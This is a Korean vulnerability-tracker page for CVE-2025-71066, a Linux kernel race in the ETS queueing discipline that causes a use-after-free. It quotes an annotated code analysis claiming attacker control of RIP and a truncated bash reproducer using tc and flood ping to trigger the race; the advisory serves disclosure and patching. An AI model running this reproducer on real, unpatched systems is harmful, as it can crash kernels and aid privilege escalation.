Kestrel
대시보드로 돌아가기
CVE-2025-71066UNKNOWNMITRENVD대응게시일: 2026. 01. 13.수정일: 2026. 05. 23.

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
unknown

이론적 심각도 점수

EPSS
0.2%상위 95.4%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between ets_qdisc_dequeue and
ets_qdisc_change. It leads to UAF on struct Qdisc object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
...

text
1 // (1) this lock is preventing .change handler (`ets_qdisc_change`)
2 //to race with .dequeue handler (`ets_qdisc_dequeue`)
3 sch_tree_lock(sch);
4
5 for (i = nbands; i < oldbands; i++) {
6 if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
7 list_del_init(&q->classes[i].alist);
8 qdisc_purge_queue(q->classes[i].qdisc);
9 }
10
11 WRITE_ONCE(q->nbands, nbands);
12 for (i = nstrict; i < q->nstrict; i++) {
13 if (q->classes[i].qdisc->q.qlen) {
14 // (2) the class is added to the q->active
15 list_add_tail(&q->classes[i].alist, &q->active);
16 q->classes[i].deficit = quanta[i];
17 }
18 }
19 WRITE_ONCE(q->nstrict, nstrict);
20 memcpy(q->prio2band, priomap, sizeof(priomap));
21
22 for (i = 0; i < q->nbands; i++)
23 WRITE_ONCE(q->classes[i].quantum, quanta[i]);
24
25 for (i = oldbands; i < q->nbands; i++) {
26 q->classes[i].qdisc = queues[i];
27 if (q->classes[i].qdisc != &noop_qdisc)
28 qdisc_hash_add(q->classes[i].qdisc, true);
29 }
30
31 // (3) the qdisc is unlocked, now dequeue can be called in parallel
32 // to the rest of .change handler
33 sch_tree_unlock(sch);
34
35 ets_offload_change(sch);
36 for (i = q->nbands; i < oldbands; i++) {
37 // (4) we're reducing the refcount for our class's qdisc and
38 // freeing it
39 qdisc_put(q->classes[i].qdisc);
40 // (5) If we call .dequeue between (4) and (5), we will have
41 // a strong UAF and we can control RIP
42 q->classes[i].qdisc = NULL;
43 WRITE_ONCE(q->classes[i].quantum, 0);
44 q->classes[i].deficit = 0;
45 gnet_stats_basic_sync_init(&q->classes[i].bstats);
46 memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
47 }
48 return 0;

}

Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc

Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)

bash
1DEV="${DEV:-lo}"
2ROOT_HANDLE="${ROOT_HANDLE:-1:}"
3BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2
4PING_BYTES="${PING_BYTES:-48}"
5PING_COUNT="${PING_COUNT:-200000}"
6PING_DST="${PING_DST:-127.0.0.1}"
7
8SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
9SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
10SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
11
12cleanup() {
13 tc qdisc del dev "$DEV" root 2>/dev/null
14}
15trap cleanup EXIT
16
17ip link set "$DEV" up
18
19tc qdisc del dev "$DEV" root 2>/dev/null || true
20
21tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
22
23tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
24 tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
25
26tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
27tc -s qdisc ls dev $DEV
28
29ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
30 >/dev/null 2>&1 &
31tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
32tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
33tc -s qdisc ls dev $DEV
34tc qdisc del dev "$DEV" parent
35---truncated---

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

영향받는 제품·버전

  • Linux Linuxae2659d2c670252759ee9c823c4e039c0e05a6f2 ≤ x < 062d5d544e564473450d72e6af83077c2b2ff7c3, e25bdbc7e951ae5728fee1f4c09485df113d013
    linux
  • Linux Linux5.16
    linux